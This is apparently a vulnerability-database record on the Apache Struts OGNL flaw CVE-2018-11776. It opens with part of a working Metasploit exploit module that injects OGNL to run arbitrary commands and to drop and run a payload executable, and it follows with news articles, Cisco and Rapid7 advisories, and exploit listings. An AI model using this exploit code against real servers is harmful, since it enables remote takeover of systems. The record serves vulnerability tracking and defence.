%Q|('#{rand_text_alpha(2)}')|\r\n properties.each do |k,v|\r\n ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|\r\n end\r\n ognl = ognl[0...-4]\r\n\r\n r = send_struts_request(ognl)\r\n\r\n if r.code == 400\r\n fail_with(Failure::UnexpectedReply, \"Server returned HTTP 400, consider toggling the ENABLE_STATIC option\")\r\n elsif r.headers['Location']\r\n # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'\r\n # Extract the OGNL output from the Location path, and strip the two random chars\r\n s = r.headers['Location'].split('/')[1][2..-1]\r\n\r\n if s.nil?\r\n # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.\r\n # But we didn't get any output, so we can't profile the target. Abort.\r\n return nil\r\n end\r\n\r\n # Confirm that all fields were returned, and non include extra (:) delimiters\r\n # If the OGNL fails, we might get a partial result back, in which case, we'll abort.\r\n if s.count(':') > properties.length\r\n print_error(\"Failed to profile target. Response from server: #{r.to_s}\")\r\n fail_with(Failure::UnexpectedReply, \"Target responded with unexpected profiling data\")\r\n end\r\n\r\n # Separate the colon-delimited properties and store in the 'properties' hash\r\n s = s.split(':')\r\n i = 0\r\n properties.each do |k,v|\r\n properties[k] = s[i]\r\n i += 1\r\n end\r\n\r\n print_good(\"Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}\" +\r\n \" #{properties[:'os.arch']}, running as #{properties[:'user.name']}\")\r\n return properties\r\n else\r\n print_error(\"Failed to profile target. Response from server: #{r.to_s}\")\r\n fail_with(Failure::UnexpectedReply, \"Server did not respond properly to profiling attempt.\")\r\n end\r\n end\r\n\r\n def execute_command(cmd_input, opts={})\r\n # Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.\r\n if cmd_input.include? ';'\r\n print_warning(\"WARNING: Command contains bad characters: semicolons (;).\")\r\n end\r\n\r\n begin\r\n properties = profile_target\r\n os = properties[:'os.name'].downcase\r\n rescue\r\n vprint_warning(\"Target profiling was unable to determine operating system\")\r\n os = ''\r\n os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'\r\n os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'\r\n os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'\r\n end\r\n\r\n if (os.include? 'linux') || (os.include? 'nix')\r\n cmd = \"{'sh','-c','#{cmd_input}'}\"\r\n elsif os.include? 'win'\r\n cmd = \"{'cmd.exe','/c','#{cmd_input}'}\"\r\n else\r\n vprint_error(\"Failed to detect target OS. Attempting to execute command directly\")\r\n cmd = cmd_input\r\n end\r\n\r\n # The following OGNL will run arbitrary commands on Windows and Linux\r\n # targets, as well as returning STDOUT and STDERR. In my testing,\r\n # on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.\r\n\r\n vprint_status(\"Executing: #{cmd}\")\r\n\r\n ognl = \"\"\r\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\r\n ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|\r\n ognl << %q|(#p.redirectErrorStream(true)).|\r\n ognl << %q|(#process=#p.start()).|\r\n ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|\r\n ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|\r\n ognl << %q|(#r.flush())|\r\n\r\n r = send_struts_request(ognl)\r\n\r\n if r && r.code == 200\r\n print_good(\"Command executed:\\n#{r.body}\")\r\n elsif r\r\n if r.body.length == 0\r\n print_status(\"Payload sent, but no output provided from server.\")\r\n elsif r.body.length > 0\r\n print_error(\"Failed to run command. Response from server: #{r.to_s}\")\r\n end\r\n end\r\n end\r\n\r\n def send_payload\r\n # Probe for the target OS and architecture\r\n begin\r\n properties = profile_target\r\n os = properties[:'os.name'].downcase\r\n rescue\r\n vprint_warning(\"Target profiling was unable to determine operating system\")\r\n os = ''\r\n os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'\r\n os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'\r\n os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'\r\n end\r\n\r\n data_header = datastore['HEADER']\r\n if data_header.empty?\r\n fail_with(Failure::BadConfig, \"HEADER parameter cannot be blank when sending a payload\")\r\n end\r\n\r\n random_filename = datastore['TEMPFILE']\r\n\r\n # d = data stream from HTTP header\r\n # f = path to temp file\r\n # s = stream/handle to temp file\r\n ognl = \"\"\r\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\r\n ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|\r\n ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|\r\n ognl << %q|(#f.setExecutable(true)).|\r\n ognl << %q|(#f.deleteOnExit()).|\r\n ognl << %q|(#s=new java.io.FileOutputStream(#f)).|\r\n ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|\r\n ognl << %q|(#s.write(#d)).|\r\n ognl << %q|(#s.close()).|\r\n ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|\r\n ognl << %q|(#p.start()).|\r\n ognl << %q|(#f.delete()).|\r\n\r\n success_string = rand_text_alpha(4)\r\n ognl << %Q|('#{success_string}')|\r\n\r\n exe = [generate_payload_exe].pack(\"m\").delete(\"\\n\")\r\n r = send_struts_request(ognl, payload: exe)\r\n\r\n if r && r.headers && r.headers['Location'].split('/')[1] == success_string\r\n print_good(\"Payload successfully dropped and executed.\")\r\n elsif r && r.headers['Location']\r\n vprint_error(\"RESPONSE: \" + r.headers['Location'])\r\n fail_with(Failure::PayloadFailed, \"Target did not successfully execute the request\")\r\n elsif r && r.code == 400\r\n fail_with(Failure::UnexpectedReply, \"Target reported an unspecified error while executing the payload\")\r\n end\r\n end\r\nend", "sourceHref": "https://www.exploit-db.com/raw/45367", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2022-01-27T07:37:58", "description": "# CVE-2021-26084 \n\n# Introduction\nThis write-up provides an over...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-06T23:24:24", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2018-11776"], "modified": "2021-11-23T15:51:23", "id": "3926D602-9F67-5EF7-B2D1-A6B2716E1DF5", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-01-27T08:30:10", "description": "# CVE-2021-26084 \n\n# Introduction\nThis write-up provides an over...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-06T23:24:24", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776", "CVE-2021-26084"], "modified": "2021-11-23T15:51:23", "id": "CD8CABD7-BE65-5434-B682-F73ABA737C65", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-02-10T00:00:00", "description": "# CVE-2021-26084 \n\n# Introduction\nThis write-up provides an over...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-06T23:24:24", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2018-11776"], "modified": "2021-11-23T15:51:23", "id": "4B524E35-6179-5923-8FEE-CFFDB1F046D9", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "thn": [{"lastseen": "2022-05-09T12:40:53", "description": "[](<https://thehackernews.com/images/-sTd9DAc_p-c/W5Dodfm16dI/AAAAAAAADP4/N0Er9X2kbMMxOur9Q66LMQ_H2b7REMegACLcBGAs/s728-e100/cisco-update.png>)\n\nCisco today [released](<https://tools.cisco.com/security/center/publicationListing.x?product=Cisco&sort=-day_sir#~Vulnerabilities>) thirty security patch advisory to address a total of 32 security vulnerabilities in its products, three of which are rated critical, including the recently disclosed [Apache Struts remote code execution](<https://thehackernews.com/2018/08/apache-struts-vulnerability.html>) vulnerability that is being exploited in the wild. \n \nOut of the rest 29 vulnerabilities, fourteen are rated high and 15 medium in severity, addressing security flaws in Cisco Routers, Cisco Webex, Cisco Umbrella, Cisco SD-WAN Solution, Cisco Cloud Services Platform, Cisco Data Center Network, and more products. \n \nThe three critical security vulnerabilities patched by Cisco address issues in Apache Struts, Cisco Umbrella API, and Cisco RV110W, RV130W and RV215W router's management interface. \n \n\n\n## Apache Struts Remote Code Execution Vulnerability (CVE-2018-11776)\n\n \nThe vulnerability, reported late last month by Semmle security researcher Man Yue Mo, resides in the core of Apache Struts and originates due to insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations. \n \n\n\n> \"The vulnerability exists because the affected software insufficiently validates user-supplied input, allowing the use of results with no namespace value and the use of url tags with no value or action,\" Cisco explains in its [advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts>).\n\n> \"In cases where upper actions or configurations also have no namespace or a wildcard namespace, an attacker could exploit this vulnerability by sending a request that submits malicious input to the affected application for processing.\"\n\nAn unauthenticated, remote attacker can trigger the vulnerability by tricking victims to visit a specially crafted URL on the affected web server, allowing the attacker to execute malicious code and eventually take complete control over the targeted server running the vulnerable application. \n \nAll applications that use [Apache Struts](<https://thehackernews.com/2018/08/apache-struts-vulnerability.html>)\u2014supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions\u2014are potentially vulnerable to this flaw, even when no additional plugins have been enabled. \n \nApache Struts patched the vulnerability with the release of Struts versions 2.3.35 and 2.5.17 last month. Now, Cisco has also released fixes to address the issue in its several products. You can check the list of vulnerable Cisco products [here](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts#vulnerable>). \n \nSince there are no workarounds for this issue, organizations and developers are strongly advised to update their Struts components as soon as possible. \n \n\n\n## Cisco Umbrella API Unauthorized Access Vulnerability (CVE-2018-0435)\n\n \nThe second critical vulnerability patched by Cisco resides in the Cisco Umbrella API that could allow an authenticated, remote attacker to view and modify data across their organization as well as other organizations. \n \nCisco Umbrella is a cloud security platform that provides the first line of defense against threats over all ports and protocols by blocking access to malicious domains, URLs, IPs, and files before a connection is ever established or a file is downloaded. \n \nThe vulnerability resides due to insufficient authentication configurations for the API interface of Cisco Umbrella, and successful exploitation could allow an attacker to read or modify data across multiple organizations. \n \nCisco has patched the vulnerability addressed this vulnerability in the Cisco Umbrella production APIs. No user action is required. \n \n\n\n## Cisco Routers Management Interface Buffer Overflow Vulnerability (CVE-2018-0423)\n\n \nThe last, but not the least, critical vulnerability resides in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router that could allow an unauthenticated, remote attacker to execute arbitrary code or cause a DoS condition. \n \nThe flaw occurs due to improper boundary restrictions on user-supplied input in the Guest user feature of the web-based management interface. \n \nTo exploit this vulnerability, an attacker can send malicious requests to a targeted device, triggering a buffer overflow condition. \n \n\n\n> \"A successful exploit could allow the attacker to cause the device to stop responding, resulting in a denial of service condition, or could allow the attacker to execute arbitrary code,\" the company explains.\n\n \nThis vulnerability affects all releases of Cisco RV110W Wireless-N VPN Firewall, RV130W Wireless-N Multifunction VPN Router, and RV215W Wireless-N VPN Router. \n \nCisco has addressed this vulnerability in firmware release 1.0.3.44 for the Cisco RV130W Wireless-N Multifunction VPN Router, and will not release firmware updates for the Cisco RV110W Wireless-N VPN Firewall and Cisco RV215W Wireless-N VPN Router. \n \nAccording to the company's Product Security Incident Response Team (PSIRT), Apache Struts is being exploited in the wild, while the team is not aware of any exploits leveraging the other two critical flaws. \n \n**The Bottom Line: **Patch! Patch! Patch!\n", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 9.1, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.3}, "published": "2018-09-06T08:45:00", "type": "thn", "title": "Cisco Issues Security Patch Updates for 32 Flaws in its Products", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0423", "CVE-2018-0435", "CVE-2018-11776"], "modified": "2018-09-06T08:53:10", "id": "THN:72352D205E5586C5585536F8661A10E4", "href": "https://thehackernews.com/2018/09/cisco-patch-updates.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:40:18", "description": "[](<https://thehackernews.com/images/-ktDJMSI6Gdo/W310Im7Od5I/AAAAAAAAx8k/iNNQd5VURi8zRV8-MZosbkEo-V4eXjqowCLcBGAs/s728-e100/apache-struts-vulnerability-hacking.png>)\n\nSemmle security researcher Man Yue Mo has [disclosed](<https://lgtm.com/blog/apache_struts_CVE-2018-11776>) a critical remote code execution vulnerability in the popular Apache Struts web application framework that could allow remote attackers to run malicious code on the affected servers. \n \nApache Struts is an open source framework for developing web applications in the Java programming language and is widely used by enterprises globally, including by 65 percent of the Fortune 100 companies, like Vodafone, Lockheed Martin, Virgin Atlantic, and the IRS. \n \nThe vulnerability (**CVE-2018-11776**) resides in the core of Apache Struts and originates because of insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations. \n \nThe newly found Apache Struts exploit can be triggered just by visiting a specially crafted URL on the affected web server, allowing attackers to execute malicious code and eventually take complete control over the targeted server running the vulnerable application. \n \n\n\n## Struts2 Vulnerability - Are You Affected?\n\n \nAll applications that use Apache Struts\u2014supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions\u2014are potentially vulnerable to this flaw, even when no additional plugins have been enabled. \n \n\n\n> \"This vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,\" Yue Mo said.\n\n \nYour Apache Struts implementation is vulnerable to the reported RCE flaw if it meets the following conditions: \n\n\n * The **alwaysSelectFullNamespace** flag is set to true in the Struts configuration.\n * Struts configuration file contains an \"action\" or \"url\" tag that does not specify the optional namespace attribute or specifies a wildcard namespace.\nAccording to the researcher, even if an application is currently not vulnerable, \"an inadvertent change to a Struts configuration file may render the application vulnerable in the future.\" \n \n\n\n## Here's Why You Should Take Apache Struts Exploit Seriously\n\n \nLess than a year ago, credit rating agency Equifax exposed [personal details of its 147 million consumers](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) due to their failure of patching a similar [Apache Struts flaw](<https://thehackernews.com/2017/03/apache-struts-framework.html>) that was disclosed earlier that year (CVE-2017-5638). \n \nThe Equifax breach cost the company over $600 million in losses. \n\n\n> \"Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\" said Pavel Avgustinov, Co-founder & VP of QL Engineering at Semmle.\n\n> \"A hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system.\"\n\n \n\n\n## Patch Released for Critical Apache Struts Bug\n\n[](<https://thehackernews.com/images/-aZ6JnELsib4/W31pGhAz6bI/AAAAAAAAx8M/0d3umSPy5YATSc8sNXCx5cKejhIftncEgCLcBGAs/s728-e100/apache-struts-vulnerability-exploit.png>)\n\nApache Struts has fixed the vulnerability with the release of Struts versions 2.3.35 and 2.5.17. Organizations and developers who use Apache Struts are urgently advised to upgrade their Struts components as soon as possible. \n \nWe have seen how previous disclosures of similar critical flaws in Apache Struts have resulted in [PoC exploits](<https://thehackernews.com/2017/03/apache-struts-framework.html>) being published within a day, and exploitation of the [vulnerability in the wild](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>), putting critical infrastructure as well as customers' data at risk. \n \nTherefore, users and administrators are strongly advised to upgrade their Apache Struts components to the latest versions, even if they believe their configuration is not vulnerable right now. \n \nThis is not the first time the Semmle Security Research Team has reported a critical RCE flaw in Apache Struts. Less than a year ago, the team disclosed a similar [remote code execution vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) (CVE-2017-9805) in Apache Struts. \n \n\n\n## UPDATE \u2014 Apache Struts RCE Exploit PoC Released\n\n[](<https://thehackernews.com/images/-fNjQzu1b7iw/W376YS-nYjI/AAAAAAAAx9I/T7MopN2IxtwTxicu4k8j55ywy0GbIRQHgCLcBGAs/s728-e100/apache-struts-exploit-poc-rce-vulnerability.png>)\n\nA security researcher has today released [a PoC exploit](<https://github.com/jas502n/St2-057/blob/master/README.md>) for the newly discovered remote code execution (RCE) vulnerability (CVE-2018-11776) in Apache Struts web application framework.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-08-22T14:04:00", "type": "thn", "title": "New Apache Struts RCE Flaw Lets Hackers Take Over Web Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805", "CVE-2018-11776"], "modified": "2018-08-23T18:30:56", "id": "THN:89C2482FECD181DD37C6DAEEB7A66FA9", "href": "https://thehackernews.com/2018/08/apache-struts-vulnerability.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:24", "description": "[](<https://thehackernews.com/images/-mNDlC0tKMKU/YSOiCQjKsfI/AAAAAAAADm0/8vxg1C4GweIrljnlPQrCj0yPLMYs18y_ACLcBGAsYHQ/s0/linux.jpg>)\n\nClose to 14 million Linux-based systems are directly exposed to the Internet, making them a lucrative target for an array of real-world attacks that could result in the deployment of malicious web shells, coin miners, ransomware, and other trojans.\n\nThat's according to an in-depth look at the Linux threat landscape published by U.S.-Japanese cybersecurity firm [Trend Micro](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/linux-threat-report-2021-1h-linux-threats-in-the-cloud-and-security-recommendations>), detailing the top threats and vulnerabilities affecting the operating system in the first half of 2021, based on data amassed from honeypots, sensors, and anonymized telemetry.\n\nThe company, which detected nearly 15 million malware events aimed at Linux-based cloud environments, found coin miners and ransomware to make up 54% of all malware, with web shells accounting for a 29% share.\n\nIn addition, by dissecting over 50 million events reported from 100,000 unique Linux hosts during the same time period, the researchers found 15 different security weaknesses that are known to be actively exploited in the wild or have a proof of concept (PoC) \u2014\n\n * [**CVE-2017-5638**](<https://nvd.nist.gov/vuln/detail/CVE-2017-5638>) (CVSS score: 10.0) - Apache Struts 2 remote code execution (RCE) vulnerability\n * [**CVE-2017-9805**](<https://nvd.nist.gov/vuln/detail/CVE-2017-9805>) (CVSS score: 8.1) - Apache Struts 2 REST plugin XStream RCE vulnerability\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) - Drupal Core RCE vulnerability\n * [**CVE-2020-14750**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14750>) (CVSS score: 9.8) - Oracle WebLogic Server RCE vulnerability\n * [**CVE-2020-25213**](<https://nvd.nist.gov/vuln/detail/CVE-2020-25213>) (CVSS score: 10.0) - WordPress File Manager (wp-file-manager) plugin RCE vulnerability\n * [**CVE-2020-17496**](<https://nvd.nist.gov/vuln/detail/CVE-2020-17496>) (CVSS score: 9.8) - vBulletin 'subwidgetConfig' unauthenticated RCE vulnerability\n * [**CVE-2020-11651**](<https://nvd.nist.gov/vuln/detail/CVE-2020-11651>) (CVSS score: 9.8) - SaltStack Salt authorization weakness vulnerability\n * [**CVE-2017-12611**](<https://nvd.nist.gov/vuln/detail/CVE-2017-12611>) (CVSS score: 9.8) - Apache Struts OGNL expression RCE vulnerability\n * [**CVE-2017-7657**](<https://nvd.nist.gov/vuln/detail/CVE-2017-7657>) (CVSS score: 9.8) - Eclipse Jetty chunk length parsing integer overflow vulnerability\n * [**CVE-2021-29441**](<https://nvd.nist.gov/vuln/detail/CVE-2021-29441>) (CVSS score: 9.8) - Alibaba Nacos AuthFilter authentication bypass vulnerability\n * [**CVE-2020-14179**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14179>) (CVSS score: 5.3) - Atlassian Jira information disclosure vulnerability \n * [**CVE-2013-4547**](<https://nvd.nist.gov/vuln/detail/CVE-2013-4547>) (CVSS score: 8.0) - Nginx crafted URI string handling access restriction bypass vulnerability\n * [**CVE-2019-0230**](<https://nvd.nist.gov/vuln/detail/CVE-2019-0230>) (CVSS score: 9.8) - Apache Struts 2 RCE vulnerability\n * [**CVE-2018-11776**](<https://nvd.nist.gov/vuln/detail/CVE-2018-11776>) (CVSS score: 8.1) - Apache Struts OGNL expression RCE vulnerability\n * [**CVE-2020-7961**](<https://nvd.nist.gov/vuln/detail/CVE-2020-7961>) (CVSS score: 9.8) - Liferay Portal untrusted deserialization vulnerability\n\n[](<https://thehackernews.com/images/-CcxYro041Ss/YSOhRgK85gI/AAAAAAAADmo/EddtTNpqRVsnxWJ2QLdym3CSkEJDwcSggCLcBGAsYHQ/s0/report-1.jpg>)\n\n[](<https://thehackernews.com/images/-p0iNN7yORLk/YSOhRABhMqI/AAAAAAAADmk/RQED6fXWrDkadRhDxqU0JzZOoWwJePPkQCLcBGAsYHQ/s0/report-.jpg>)\n\nEven more troublingly, the 15 most commonly used Docker images on the official Docker Hub repository has been revealed to harbor hundreds of vulnerabilities spanning across python, node, wordpress, golang, nginx, postgres, influxdb, httpd, mysql, debian, memcached, redis, mongo, centos, and rabbitmq, underscoring the need to [secure containers](<https://www.trendmicro.com/vinfo/us/security/news/security-technology/container-security-examining-potential-threats-to-the-container-environment>) from a wide range of potential threats at each stage of the development pipeline.\n\n\"Users and organizations should always apply security best practices, which include utilizing the security by design approach, deploying multilayered virtual patching or vulnerability shielding, employing the principle of least privilege, and adhering to the shared responsibility model,\" the researchers concluded.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-08-23T13:27:00", "type": "thn", "title": "Top 15 Vulnerabilities Attackers Exploited Millions of Times to Hack Linux Systems", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4547", "CVE-2017-12611", "CVE-2017-5638", "CVE-2017-7657", "CVE-2017-9805", "CVE-2018-11776", "CVE-2018-7600", "CVE-2019-0230", "CVE-2020-11651", "CVE-2020-14179", "CVE-2020-14750", "CVE-2020-17496", "CVE-2020-25213", "CVE-2020-7961", "CVE-2021-29441"], "modified": "2021-08-23T13:27:54", "id": "THN:7FD924637D99697D78D53283817508DA", "href": "https://thehackernews.com/2021/08/top-15-vulnerabilities-attackers.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2022-06-07T01:56:25", "description": "\n\nOn June 2, 2022, Atlassian published a [security advisory](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>) for CVE-2022-26134, a critical unauthenticated remote code execution vulnerability in Confluence Server and Confluence Data Center. The vulnerability was unpatched when it was published on June 2. As of June 3, both patches and a temporary workaround are available.\n\nCVE-2022-26134 is being actively and widely [exploited in the wild](<https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/>). Rapid7's Managed Detection and Response (MDR) team has observed an uptick of likely exploitation of CVE-2022-26134 in customer environments as of June 3.\n\nAll supported versions of Confluence Server and Data Center are affected. \nAtlassian updated their advisory on June 3 to reflect that it's likely that **all versions** (whether supported or not) of Confluence Server and Data Center are affected, but they have yet to confirm the earliest affected version. Organizations should install patches OR apply the workaround on an **emergency basis**. If you are unable to mitigate the vulnerability for any version of Confluence, you should restrict or disable Confluence Server and Confluence Data Center instances immediately.\n\n## Technical analysis\n\nCVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server (typically the `confluence` user on Linux installations). Given the nature of the vulnerability, [internet-facing](<https://www.shodan.io/search?query=X-Confluence-Request-Time>) Confluence servers are at very high risk.\n\nLast year, Atlassian Confluence 